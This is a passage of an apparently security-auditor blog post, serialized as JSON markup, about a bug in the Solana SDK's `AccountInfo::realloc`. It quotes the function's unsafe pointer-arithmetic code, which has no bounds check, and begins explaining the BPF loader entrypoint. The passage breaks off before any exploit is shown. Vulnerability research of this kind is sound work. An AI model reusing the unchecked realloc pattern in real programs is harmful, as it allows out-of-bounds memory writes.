dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":14039,"height":14040,"width":14041},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[3660,9682],{"type":18,"children":14045,"toc":19151},[14046,14074,14094,14764,14784,14795,14807,14940,14950,14956,14982,15323,15368,15695,15758,15771,15845,15913,15934,15947,15961,16310,16321,16326,16457,16508,16534,16546,16719,16855,16896,16933,16999,17004,17042,17096,17107,17251,17263,17269,17275,17308,17322,17444,17463,17491,17497,17587,17678,17684,17689,17736,18005,18080,18091,18118,18450,18462,18535,18808,18845,19147],{"type":21,"tag":22,"props":14047,"children":14048},{},[14049,14051,14057,14059,14064,14066,14072],{"type":26,"value":14050},"It all started with an audit of a program that used ",{"type":21,"tag":66,"props":14052,"children":14054},{"className":14053},[],[14055],{"type":26,"value":14056},"realloc",{"type":26,"value":14058}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":21,"tag":66,"props":14060,"children":14062},{"className":14061},[],[14063],{"type":26,"value":14056},{"type":26,"value":14065}," call (from ",{"type":21,"tag":66,"props":14067,"children":14069},{"className":14068},[],[14070],{"type":26,"value":14071},"solana_program",{"type":26,"value":14073},") would error out appropriately.",{"type":21,"tag":22,"props":14075,"children":14076},{},[14077,14079,14085,14086,14093],{"type":26,"value":14078},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":21,"tag":66,"props":14080,"children":14082},{"className":14081},[],[14083],{"type":26,"value":14084},"AccountInfo::realloc",{"type":26,"value":6268},{"type":21,"tag":335,"props":14087,"children":14090},{"href":14088,"rel":14089},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[339],[14091],{"type":26,"value":14092},"implemented",{"type":26,"value":172},{"type":21,"tag":75,"props":14095,"children":14097},{"className":77,"code":14096,"language":79,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[14098],{"type":21,"tag":66,"props":14099,"children":14100},{"__ignoreMap":7},[14101,14195,14229,14236,14244,14256,14264,14356,14389,14396,14404,14534,14565,14572,14579,14587,14621,14633,14682,14694,14723,14730,14737,14744,14757],{"type":21,"tag":85,"props":14102,"children":14103},{"class":87,"line":88},[14104,14109,14114,14119,14123,14127,14132,14136,14141,14145,14150,14154,14159,14163,14167,14171,14176,14181,14186,14191],{"type":21,"tag":85,"props":14105,"children":14106},{"style":102},[14107],{"type":26,"value":14108},"pub",{"type":21,"tag":85,"props":14110,"children":14111},{"style":102},[14112],{"type":26,"value":14113}," fn",{"type":21,"tag":85,"props":14115,"children":14116},{"style":1021},[14117],{"type":26,"value":14118}," realloc",{"type":21,"tag":85,"props":14120,"children":14121},{"style":114},[14122],{"type":26,"value":1439},{"type":21,"tag":85,"props":14124,"children":14125},{"style":169},[14126],{"type":26,"value":2238},{"type":21,"tag":85,"props":14128,"children":14129},{"style":102},[14130],{"type":26,"value":14131},"self",{"type":21,"tag":85,"props":14133,"children":14134},{"style":114},[14135],{"type":26,"value":256},{"type":21,"tag":85,"props":14137,"children":14138},{"style":120},[14139],{"type":26,"value":14140},"new_len",{"type":21,"tag":85,"props":14142,"children":14143},{"style":169},[14144],{"type":26,"value":172},{"type":21,"tag":85,"props":14146,"children":14147},{"style":108},[14148],{"type":26,"value":14149}," usize",{"type":21,"tag":85,"props":14151,"children":14152},{"style":114},[14153],{"type":26,"value":256},{"type":21,"tag":85,"props":14155,"children":14156},{"style":120},[14157],{"type":26,"value":14158},"zero_init",{"type":21,"tag":85,"props":14160,"children":14161},{"style":169},[14162],{"type":26,"value":172},{"type":21,"tag":85,"props":14164,"children":14165},{"style":108},[14166],{"type":26,"value":12467},{"type":21,"tag":85,"props":14168,"children":14169},{"style":114},[14170],{"type":26,"value":736},{"type":21,"tag":85,"props":14172,"children":14173},{"style":169},[14174],{"type":26,"value":14175},"->",{"type":21,"tag":85,"props":14177,"children":14178},{"style":108},[14179],{"type":26,"value":14180}," Result",{"type":21,"tag":85,"props":14182,"children":14183},{"style":114},[14184],{"type":26,"value":14185},"\u003C(), ",{"type":21,"tag":85,"props":14187,"children":14188},{"style":108},[14189],{"type":26,"value":14190},"ProgramError",{"type":21,"tag":85,"props":14192,"children":14193},{"style":114},[14194],{"type":26,"value":1627},{"type":21,"tag":85,"props":14196,"children":14197},{"class":87,"line":98},[14198,14202,14207,14211,14216,14220,14225],{"type":21,"tag":85,"props":14199,"children":14200},{"style":102},[14201],{"type":26,"value":3778},{"type":21,"tag":85,"props":14203,"children":14204},{"style":120},[14205],{"type":26,"value":14206}," orig_len",{"type":21,"tag":85,"props":14208,"children":14209},{"style":169},[14210],{"type":26,"value":1941},{"type":21,"tag":85,"props":14212,"children":14213},{"style":102},[14214],{"type":26,"value":14215}," self",{"type":21,"tag":85,"props":14217,"children":14218},{"style":169},[14219],{"type":26,"value":73},{"type":21,"tag":85,"props":14221,"children":14222},{"style":1021},[14223],{"type":26,"value":14224},"data_len",{"type":21,"tag":85,"props":14226,"children":14227},{"style":114},[14228],{"type":26,"value":4437},{"type":21,"tag":85,"props":14230,"children":14231},{"class":87,"line":151},[14232],{"type":21,"tag":85,"props":14233,"children":14234},{"emptyLinePlaceholder":16},[14235],{"type":26,"value":703},{"type":21,"tag":85,"props":14237,"children":14238},{"class":87,"line":160},[14239],{"type":21,"tag":85,"props":14240,"children":14241},{"style":92},[14242],{"type":26,"value":14243},"    // realloc\n",{"type":21,"tag":85,"props":14245,"children":14246},{"class":87,"line":185},[14247,14252],{"type":21,"tag":85,"props":14248,"children":14249},{"style":102},[14250],{"type":26,"value":14251},"    unsafe",{"type":21,"tag":85,"props":14253,"children":14254},{"style":114},[14255],{"type":26,"value":148},{"type":21,"tag":85,"props":14257,"children":14258},{"class":87,"line":501},[14259],{"type":21,"tag":85,"props":14260,"children":14261},{"style":92},[14262],{"type":26,"value":14263},"        // First set new length in the serialized data\n",{"type":21,"tag":85,"props":14265,"children":14266},{"class":87,"line":697},[14267,14271,14276,14280,14284,14288,14293,14298,14302,14307,14311,14315,14320,14324,14328,14332,14336,14340,14344,14348,14352],{"type":21,"tag":85,"props":14268,"children":14269},{"style":102},[14270],{"type":26,"value":1931},{"type":21,"tag":85,"props":14272,"children":14273},{"style":120},[14274],{"type":26,"value":14275}," ptr",{"type":21,"tag":85,"props":14277,"children":14278},{"style":169},[14279],{"type":26,"value":1941},{"type":21,"tag":85,"props":14281,"children":14282},{"style":102},[14283],{"type":26,"value":14215},{"type":21,"tag":85,"props":14285,"children":14286},{"style":169},[14287],{"type":26,"value":73},{"type":21,"tag":85,"props":14289,"children":14290},{"style":1021},[14291],{"type":26,"value":14292},"try_borrow_mut_data",{"type":21,"tag":85,"props":14294,"children":14295},{"style":114},[14296],{"type":26,"value":14297},"()",{"type":21,"tag":85,"props":14299,"children":14300},{"style":169},[14301],{"type":26,"value":3904},{"type":21,"tag":85,"props":14303,"children":14304},{"style":1021},[14305],{"type":26,"value":14306},"as_mut_ptr",{"type":21,"tag":85,"props":14308,"children":14309},{"style":114},[14310],{"type":26,"value":14297},{"type":21,"tag":85,"props":14312,"children":14313},{"style":169},[14314],{"type":26,"value":73},{"type":21,"tag":85,"props":14316,"children":14317},{"style":1021},[14318],{"type":26,"value":14319},"offset",{"type":21,"tag":85,"props":14321,"children":14322},{"style":114},[14323],{"type":26,"value":1439},{"type":21,"tag":85,"props":14325,"children":14326},{"style":169},[14327],{"type":26,"value":5097},{"type":21,"tag":85,"props":14329,"children":14330},{"style":2285},[14331],{"type":26,"value":4843},{"type":21,"tag":85,"props":14333,"children":14334},{"style":114},[14335],{"type":26,"value":736},{"type":21,"tag":85,"props":14337,"children":14338},{"style":102},[14339],{"type":26,"value":3209},{"type":21,"tag":85,"props":14341,"children":14342},{"style":169},[14343],{"type":26,"value":10231},{"type":21,"tag":85,"props":14345,"children":14346},{"style":102},[14347],{"type":26,"value":2039},{"type":21,"tag":85,"props":14349,"children":14350},{"style":108},[14351],{"type":26,"value":177},{"type":21,"tag":85,"props":14353,"children":14354},{"style":114},[14355],{"type":26,"value":2535},{"type":21,"tag":85,"props":14357,"children":14358},{"class":87,"line":706},[14359,14363,14368,14372,14377,14381,14385],{"type":21,"tag":85,"props":14360,"children":14361},{"style":169},[14362],{"type":26,"value":2102},{"type":21,"tag":85,"props":14364,"children":14365},{"style":120},[14366],{"type":26,"value":14367},"ptr",{"type":21,"tag":85,"props":14369,"children":14370},{"style":169},[14371],{"type":26,"value":1941},{"type":21,"tag":85,"props":14373,"children":14374},{"style":120},[14375],{"type":26,"value":14376}," new_len",{"type":21,"tag":85,"props":14378,"children":14379},{"style":102},[14380],{"type":26,"value":3195},{"type":21,"tag":85,"props":14382,"children":14383},{"style":108},[14384],{"type":26,"value":177},{"type":21,"tag":85,"props":14386,"children":14387},{"style":114},[14388],{"type":26,"value":2535},{"type":21,"tag":85,"props":14390,"children":14391},{"class":87,"line":1100},[14392],{"type":21,"tag":85,"props":14393,"children":14394},{"emptyLinePlaceholder":16},[14395],{"type":26,"value":703},{"type":21,"tag":85,"props":14397,"children":14398},{"class":87,"line":1339},[14399],{"type":21,"tag":85,"props":14400,"children":14401},{"style":92},[14402],{"type":26,"value":14403},"        // Then set the new length in the local slice\n",{"type":21,"tag":85,"props":14405,"children":14406},{"class":87,"line":1348},[14407,14411,14415,14419,14423,14427,14431,14436,14440,14444,14448,14452,14457,14462,14466,14470,14474,14478,14482,14486,14490,14494,14498,14502,14506,14510,14514,14518,14522,14526,14530],{"type":21,"tag":85,"props":14408,"children":14409},{"style":102},[14410],{"type":26,"value":1931},{"type":21,"tag":85,"props":14412,"children":14413},{"style":120},[14414],{"type":26,"value":14275},{"type":21,"tag":85,"props":14416,"children":14417},{"style":169},[14418],{"type":26,"value":1941},{"type":21,"tag":85,"props":14420,"children":14421},{"style":169},[14422],{"type":26,"value":1487},{"type":21,"tag":85,"props":14424,"children":14425},{"style":102},[14426],{"type":26,"value":2039},{"type":21,"tag":85,"props":14428,"children":14429},{"style":169},[14430],{"type":26,"value":10231},{"type":21,"tag":85,"props":14432,"children":14433},{"style":114},[14434],{"type":26,"value":14435},"(((",{"type":21,"tag":85,"props":14437,"children":14438},{"style":102},[14439],{"type":26,"value":14131},{"type":21,"tag":85,"props":14441,"children":14442},{"style":169},[14443],{"type":26,"value":73},{"type":21,"tag":85,"props":14445,"children":14446},{"style":114},[14447],{"type":26,"value":4469},{"type":21,"tag":85,"props":14449,"children":14450},{"style":169},[14451],{"type":26,"value":73},{"type":21,"tag":85,"props":14453,"children":14454},{"style":1021},[14455],{"type":26,"value":14456},"as_ptr",{"type":21,"tag":85,"props":14458,"children":14459},{"style":114},[14460],{"type":26,"value":14461},"() ",{"type":21,"tag":85,"props":14463,"children":14464},{"style":102},[14465],{"type":26,"value":3209},{"type":21,"tag":85,"props":14467,"children":14468},{"style":169},[14469],{"type":26,"value":10231},{"type":21,"tag":85,"props":14471,"children":14472},{"style":102},[14473],{"type":26,"value":10069},{"type":21,"tag":85,"props":14475,"children":14476},{"style":108},[14477],{"type":26,"value":177},{"type":21,"tag":85,"props":14479,"children":14480},{"style":114},[14481],{"type":26,"value":1900},{"type":21,"tag":85,"props":14483,"children":14484},{"style":169},[14485],{"type":26,"value":73},{"type":21,"tag":85,"props":14487,"children":14488},{"style":1021},[14489],{"type":26,"value":14319},{"type":21,"tag":85,"props":14491,"children":14492},{"style":114},[14493],{"type":26,"value":1439},{"type":21,"tag":85,"props":14495,"children":14496},{"style":2285},[14497],{"type":26,"value":4779},{"type":21,"tag":85,"props":14499,"children":14500},{"style":114},[14501],{"type":26,"value":736},{"type":21,"tag":85,"props":14503,"children":14504},{"style":102},[14505],{"type":26,"value":3209},{"type":21,"tag":85,"props":14507,"children":14508},{"style":108},[14509],{"type":26,"value":177},{"type":21,"tag":85,"props":14511,"children":14512},{"style":114},[14513],{"type":26,"value":736},{"type":21,"tag":85,"props":14515,"children":14516},{"style":102},[14517],{"type":26,"value":3209},{"type":21,"tag":85,"props":14519,"children":14520},{"style":169},[14521],{"type":26,"value":10231},{"type":21,"tag":85,"props":14523,"children":14524},{"style":102},[14525],{"type":26,"value":2039},{"type":21,"tag":85,"props":14527,"children":14528},{"style":108},[14529],{"type":26,"value":177},{"type":21,"tag":85,"props":14531,"children":14532},{"style":114},[14533],{"type":26,"value":777},{"type":21,"tag":85,"props":14535,"children":14536},{"class":87,"line":1386},[14537,14541,14545,14549,14553,14557,14561],{"type":21,"tag":85,"props":14538,"children":14539},{"style":169},[14540],{"type":26,"value":2102},{"type":21,"tag":85,"props":14542,"children":14543},{"style":120},[14544],{"type":26,"value":14367},{"type":21,"tag":85,"props":14546,"children":14547},{"style":169},[14548],{"type":26,"value":1941},{"type":21,"tag":85,"props":14550,"children":14551},{"style":120},[14552],{"type":26,"value":14376},{"type":21,"tag":85,"props":14554,"children":14555},{"style":102},[14556],{"type":26,"value":3195},{"type":21,"tag":85,"props":14558,"children":14559},{"style":108},[14560],{"type":26,"value":177},{"type":21,"tag":85,"props":14562,"children":14563},{"style":114},[14564],{"type":26,"value":2535},{"type":21,"tag":85,"props":14566,"children":14567},{"class":87,"line":1394},[14568],{"type":21,"tag":85,"props":14569,"children":14570},{"style":114},[14571],{"type":26,"value":507},{"type":21,"tag":85,"props":14573,"children":14574},{"class":87,"line":1402},[14575],{"type":21,"tag":85,"props":14576,"children":14577},{"emptyLinePlaceholder":16},[14578],{"type":26,"value":703},{"type":21,"tag":85,"props":14580,"children":14581},{"class":87,"line":3145},[14582],{"type":21,"tag":85,"props":14583,"children":14584},{"style":92},[14585],{"type":26,"value":14586},"    // zero-init if requested\n",{"type":21,"tag":85,"props":14588,"children":14589},{"class":87,"line":3246},[14590,14594,14599,14604,14608,14613,14617],{"type":21,"tag":85,"props":14591,"children":14592},{"style":2885},[14593],{"type":26,"value":12696},{"type":21,"tag":85,"props":14595,"children":14596},{"style":120},[14597],{"type":26,"value":14598}," zero_init",{"type":21,"tag":85,"props":14600,"children":14601},{"style":169},[14602],{"type":26,"value":14603}," &&",{"type":21,"tag":85,"props":14605,"children":14606},{"style":120},[14607],{"type":26,"value":14376},{"type":21,"tag":85,"props":14609,"children":14610},{"style":169},[14611],{"type":26,"value":14612}," >",{"type":21,"tag":85,"props":14614,"children":14615},{"style":120},[14616],{"type":26,"value":14206},{"type":21,"tag":85,"props":14618,"children":14619},{"style":114},[14620],{"type":26,"value":148},{"type":21,"tag":85,"props":14622,"children":14623},{"class":87,"line":3255},[14624,14629],{"type":21,"tag":85,"props":14625,"children":14626},{"style":1021},[14627],{"type":26,"value":14628},"        sol_memset",{"type":21,"tag":85,"props":14630,"children":14631},{"style":114},[14632],{"type":26,"value":1029},{"type":21,"tag":85,"props":14634,"children":14635},{"class":87,"line":3286},[14636,14640,14644,14648,14652,14656,14660,14664,14668,14673,14677],{"type":21,"tag":85,"props":14637,"children":14638},{"style":169},[14639],{"type":26,"value":2034},{"type":21,"tag":85,"props":14641,"children":14642},{"style":102},[14643],{"type":26,"value":2039},{"type":21,"tag":85,"props":14645,"children":14646},{"style":102},[14647],{"type":26,"value":14215},{"type":21,"tag":85,"props":14649,"children":14650},{"style":169},[14651],{"type":26,"value":73},{"type":21,"tag":85,"props":14653,"children":14654},{"style":1021},[14655],{"type":26,"value":14292},{"type":21,"tag":85,"props":14657,"children":14658},{"style":114},[14659],{"type":26,"value":14297},{"type":21,"tag":85,"props":14661,"children":14662},{"style":169},[14663],{"type":26,"value":3927},{"type":21,"tag":85,"props":14665,"children":14666},{"style":114},[14667],{"type":26,"value":3016},{"type":21,"tag":85,"props":14669,"children":14670},{"style":120},[14671],{"type":26,"value":14672},"orig_len",{"type":21,"tag":85,"props":14674,"children":14675},{"style":169},[14676],{"type":26,"value":2998},{"type":21,"tag":85,"props":14678,"children":14679},{"style":114},[14680],{"type":26,"value":14681},"],\n",{"type":21,"tag":85,"props":14683,"children":14684},{"class":87,"line":3295},[14685,14690],{"type":21,"tag":85,"props":14686,"children":14687},{"style":2285},[14688],{"type":26,"value":14689},"            0",{"type":21,"tag":85,"props":14691,"children":14692},{"style":114},[14693],{"type":26,"value":182},{"type":21,"tag":85,"props":14695,"children":14696},{"class":87,"line":3308},[14697,14702,14706,14711,14715,14719],{"type":21,"tag":85,"props":14698,"children":14699},{"style":120},[14700],{"type":26,"value":14701},"            new_len",{"type":21,"tag":85,"props":14703,"children":14704},{"style":169},[14705],{"type":26,"value":73},{"type":21,"tag":85,"props":14707,"children":14708},{"style":1021},[14709],{"type":26,"value":14710},"saturating_sub",{"type":21,"tag":85,"props":14712,"children":14713},{"style":114},[14714],{"type":26,"value":1439},{"type":21,"tag":85,"props":14716,"children":14717},{"style":120},[14718],{"type":26,"value":14672},{"type":21,"tag":85,"props":14720,"children":14721},{"style":114},[14722],{"type":26,"value":1074},{"type":21,"tag":85,"props":14724,"children":14725},{"class":87,"line":3333},[14726],{"type":21,"tag":85,"props":14727,"children":14728},{"style":114},[14729],{"type":26,"value":2094},{"type":21,"tag":85,"props":14731,"children":14732},{"class":87,"line":3369},[14733],{"type":21,"tag":85,"props":14734,"children":14735},{"style":114},[14736],{"type":26,"value":507},{"type":21,"tag":85,"props":14738,"children":14739},{"class":87,"line":3377},[14740],{"type":21,"tag":85,"props":14741,"children":14742},{"emptyLinePlaceholder":16},[14743],{"type":26,"value":703},{"type":21,"tag":85,"props":14745,"children":14746},{"class":87,"line":3386},[14747,14752],{"type":21,"tag":85,"props":14748,"children":14749},{"style":108},[14750],{"type":26,"value":14751},"    Ok",{"type":21,"tag":85,"props":14753,"children":14754},{"style":114},[14755],{"type":26,"value":14756},"(())\n",{"type":21,"tag":85,"props":14758,"children":14759},{"class":87,"line":3394},[14760],{"type":21,"tag":85,"props":14761,"children":14762},{"style":114},[14763],{"type":26,"value":2671},{"type":21,"tag":22,"props":14765,"children":14766},{},[14767,14769,14775,14777,14782],{"type":26,"value":14768},"Oh. There's ",{"type":21,"tag":66,"props":14770,"children":14772},{"className":14771},[],[14773],{"type":26,"value":14774},"unsafe",{"type":26,"value":14776},". And no bounds check in sight. ",{"type":21,"tag":39,"props":14778,"children":14779},{},[14780],{"type":26,"value":14781},"And",{"type":26,"value":14783}," pointer math. That doesn't look promising...",{"type":21,"tag":54,"props":14785,"children":14787},{"id":14786},"breaking-down-realloc",[14788,14790],{"type":26,"value":14789},"Breaking down ",{"type":21,"tag":66,"props":14791,"children":14793},{"className":14792},[],[14794],{"type":26,"value":14056},{"type":21,"tag":22,"props":14796,"children":14797},{},[14798,14800,14805],{"type":26,"value":14799},"Let's pick apart this ",{"type":21,"tag":66,"props":14801,"children":14803},{"className":14802},[],[14804],{"type":26,"value":14774},{"type":26,"value":14806}," block, since there's a lot going on here.",{"type":21,"tag":75,"props":14808,"children":14810},{"className":77,"code":14809,"language":79,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[14811],{"type":21,"tag":66,"props":14812,"children":14813},{"__ignoreMap":7},[14814,14822,14909],{"type":21,"tag":85,"props":14815,"children":14816},{"class":87,"line":88},[14817],{"type":21,"tag":85,"props":14818,"children":14819},{"style":92},[14820],{"type":26,"value":14821},"// First set new length in the serialized data\n",{"type":21,"tag":85,"props":14823,"children":14824},{"class":87,"line":98},[14825,14829,14833,14837,14841,14845,14849,14853,14857,14861,14865,14869,14873,14877,14881,14885,14889,14893,14897,14901,14905],{"type":21,"tag":85,"props":14826,"children":14827},{"style":102},[14828],{"type":26,"value":12204},{"type":21,"tag":85,"props":14830,"children":14831},{"style":120},[14832],{"type":26,"value":14275},{"type":21,"tag":85,"props":14834,"children":14835},{"style":169},[14836],{"type":26,"value":1941},{"type":21,"tag":85,"props":14838,"children":14839},{"style":102},[14840],{"type":26,"value":14215},{"type":21,"tag":85,"props":14842,"children":14843},{"style":169},[14844],{"type":26,"value":73},{"type":21,"tag":85,"props":14846,"children":14847},{"style":1021},[14848],{"type":26,"value":14292},{"type":21,"tag":85,"props":14850,"children":14851},{"style":114},[14852],{"type":26,"value":14297},{"type":21,"tag":85,"props":14854,"children":14855},{"style":169},[14856],{"type":26,"value":3904},{"type":21,"tag":85,"props":14858,"children":14859},{"style":1021},[14860],{"type":26,"value":14306},{"type":21,"tag":85,"props":14862,"children":14863},{"style":114},[14864],{"type":26,"value":14297},{"type":21,"tag":85,"props":14866,"children":14867},{"style":169},[14868],{"type":26,"value":73},{"type":21,"tag":85,"props":14870,"children":14871},{"style":1021},[14872],{"type":26,"value":14319},{"type":21,"tag":85,"props":14874,"children":14875},{"style":114},[14876],{"type":26,"value":1439},{"type":21,"tag":85,"props":14878,"children":14879},{"style":169},[14880],{"type":26,"value":5097},{"type":21,"tag":85,"props":14882,"children":14883},{"style":2285},[14884],{"type":26,"value":4843},{"type":21,"tag":85,"props":14886,"children":14887},{"style":114},[14888],{"type":26,"value":736},{"type":21,"tag":85,"props":14890,"children":14891},{"style":102},[14892],{"type":26,"value":3209},{"type":21,"tag":85,"props":14894,"children":14895},{"style":169},[14896],{"type":26,"value":10231},{"type":21,"tag":85,"props":14898,"children":14899},{"style":102},[14900],{"type":26,"value":2039},{"type":21,"tag":85,"props":14902,"children":14903},{"style":108},[14904],{"type":26,"value":177},{"type":21,"tag":85,"props":14906,"children":14907},{"style":114},[14908],{"type":26,"value":2535},{"type":21,"tag":85,"props":14910,"children":14911},{"class":87,"line":151},[14912,14916,14920,14924,14928,14932,14936],{"type":21,"tag":85,"props":14913,"children":14914},{"style":169},[14915],{"type":26,"value":3052},{"type":21,"tag":85,"props":14917,"children":14918},{"style":120},[14919],{"type":26,"value":14367},{"type":21,"tag":85,"props":14921,"children":14922},{"style":169},[14923],{"type":26,"value":1941},{"type":21,"tag":85,"props":14925,"children":14926},{"style":120},[14927],{"type":26,"value":14376},{"type":21,"tag":85,"props":14929,"children":14930},{"style":102},[14931],{"type":26,"value":3195},{"type":21,"tag":85,"props":14933,"children":14934},{"style":108},[14935],{"type":26,"value":177},{"type":21,"tag":85,"props":14937,"children":14938},{"style":114},[14939],{"type":26,"value":2535},{"type":21,"tag":22,"props":14941,"children":14942},{},[14943,14948],{"type":21,"tag":66,"props":14944,"children":14946},{"className":14945},[],[14947],{"type":26,"value":14292},{"type":26,"value":14949}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":21,"tag":10022,"props":14951,"children":14953},{"id":14952},"bpf-loader-abi",[14954],{"type":26,"value":14955},"BPF Loader ABI",{"type":21,"tag":22,"props":14957,"children":14958},{},[14959,14961,14966,14968,14981],{"type":26,"value":14960},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":21,"tag":66,"props":14962,"children":14964},{"className":14963},[],[14965],{"type":26,"value":14071},{"type":26,"value":14967},"'s entrypoint code - the code that's added when you use the ",{"type":21,"tag":335,"props":14969,"children":14972},{"href":14970,"rel":14971},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[339],[14973,14979],{"type":21,"tag":66,"props":14974,"children":14976},{"className":14975},[],[14977],{"type":26,"value":14978},"entrypoint!",{"type":26,"value":14980}," macro",{"type":26,"value":172},{"type":21,"tag":75,"props":14983,"children":14985},{"className":77,"code":14984,"language":79,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[14986],{"type":21,"tag":66,"props":14987,"children":14988},{"__ignoreMap":7},[14989,14997,15069,15112,15164,15223,15266,15309,15316],{"type":21,"tag":85,"props":14990,"children":14991},{"class":87,"line":88},[14992],{"type":21,"tag":85,"props":14993,"children":14994},{"style":114},[14995],{"type":26,"value":14996},"#[no_mangle]\n",{"type":21,"tag":85,"props":14998,"children":14999},{"class":87,"line":98},[15000,15004,15009,15014,15019,15023,15028,15032,15036,15040,15044,15048,15053,15057,15061,15065],{"type":21,"tag":85,"props":15001,"children":15002},{"style":102},[15003],{"type":26,"value":14108},{"type":21,"tag":85,"props":15005,"children":15006},{"style":102},[15007],{"type":26,"value":15008}," unsafe",{"type":21,"tag":85,"props":15010,"children":15011},{"style":102},[15012],{"type":26,"value":15013}," extern",{"type":21,"tag":85,"props":15015,"children":15016},{"style":5026},[15017],{"type":26,"value":15018}," \"C\"",{"type":21,"tag":85,"props":15020,"children":15021},{"style":102},[15022],{"type":26,"value":14113},{"type":21,"tag":85,"props":15024,"children":15025},{"style":1021},[15026],{"type":26,"value":15027}," entrypoint",{"type":21,"tag":85,"props":15029,"children":15030},{"style":114},[15031],{"type":26,"value":1439},{"type":21,"tag":85,"props":15033,"children":15034},{"style":120},[15035],{"type":26,"value":2724},{"type":21,"tag":85,"props":15037,"children":15038},{"style":169},[15039],{"type":26,"value":172},{"type":21,"tag":85,"props":15041,"children":15042},{"style":169},[15043],{"type":26,"value":10231},{"type":21,"tag":85,"props":15045,"children":15046},{"style":102},[15047],{"type":26,"value":2039},{"type":21,"tag":85,"props":15049,"children":15050},{"style":108},[15051],{"type":26,"value":15052}," u8",{"type":21,"tag":85,"props":15054,"children":15055},{"style":114},[15056],{"type":26,"value":736},{"type":21,"tag":85,"props":15058,"children":15059},{"style":169},[15060],{"type":26,"value":14175},{"type":21,"tag":85,"props":15062,"children":15063},{"style":108},[15064],{"type":26,"value":177},{"type":21,"tag":85,"props":15066,"children":15067},{"style":114},[15068],{"type":26,"value":148},{"type":21,"tag":85,"props":15070,"children":15071},{"class":87,"line":151},[15072,15076,15080,15085,15089,15094,15098,15103,15107],{"type":21,"tag":85,"props":15073,"children":15074},{"style":102},[15075],{"type":26,"value":3778},{"type":21,"tag":85,"props":15077,"children":15078},{"style":114},[15079],{"type":26,"value":717},{"type":21,"tag":85,"props":15081,"children":15082},{"style":120},[15083],{"type":26,"value":15084},"program_id",{"type":21,"tag":85,"props":15086,"children":15087},{"style":114},[15088],{"type":26,"value":256},{"type":21,"tag":85,"props":15090,"children":15091},{"style":120},[15092],{"type":26,"value":15093},"accounts",{"type":21,"tag":85,"props":15095,"children":15096},{"style":114},[15097],{"type":26,"value":256},{"type":21,"tag":85,"props":15099,"children":15100},{"style":120},[15101],{"type":26,"value":15102},"instruction_data",{"type":21,"tag":85,"props":15104,"children":15105},{"style":114},[15106],{"type":26,"value":736},{"type":21,"tag":85,"props":15108,"children":15109},{"style":169},[15110],{"type":26,"value":15111},"=\n",{"type":21,"tag":85,"props":15113,"children":15114},{"class":87,"line":160},[15115,15120,15124,15128,15133,15137,15142,15146,15151,15155,15159],{"type":21,"tag":85,"props":15116,"children":15117},{"style":102},[15118],{"type":26,"value":15119},"        unsafe",{"type":21,"tag":85,"props":15121,"children":15122},{"style":114},[15123],{"type":26,"value":9999},{"type":21,"tag":85,"props":15125,"children":15126},{"style":169},[15127],{"type":26,"value":10703},{"type":21,"tag":85,"props":15129,"children":15130},{"style":102},[15131],{"type":26,"value":15132},"crate",{"type":21,"tag":85,"props":15134,"children":15135},{"style":169},[15136],{"type":26,"value":1087},{"type":21,"tag":85,"props":15138,"children":15139},{"style":114},[15140],{"type":26,"value":15141},"entrypoint",{"type":21,"tag":85,"props":15143,"children":15144},{"style":169},[15145],{"type":26,"value":1087},{"type":21,"tag":85,"props":15147,"children":15148},{"style":1021},[15149],{"type":26,"value":15150},"deserialize",{"type":21,"tag":85,"props":15152,"children":15153},{"style":114},[15154],{"type":26,"value":1439},{"type":21,"tag":85,"props":15156,"children":15157},{"style":120},[15158],{"type":26,"value":2724},{"type":21,"tag":85,"props":15160,"children":15161},{"style":114},[15162],{"type":26,"value":15163},") };\n",{"type":21,"tag":85,"props":15165,"children":15166},{"class":87,"line":185},[15167,15172,15177,15182,15186,15190,15194,15198,15202,15206,15210,15214,15218],{"type":21,"tag":85,"props":15168,"children":15169},{"style":2885},[15170],{"type":26,"value":15171},"    match",{"type":21,"tag":85,"props":15173,"children":15174},{"style":169},[15175],{"type":26,"value":15176}," 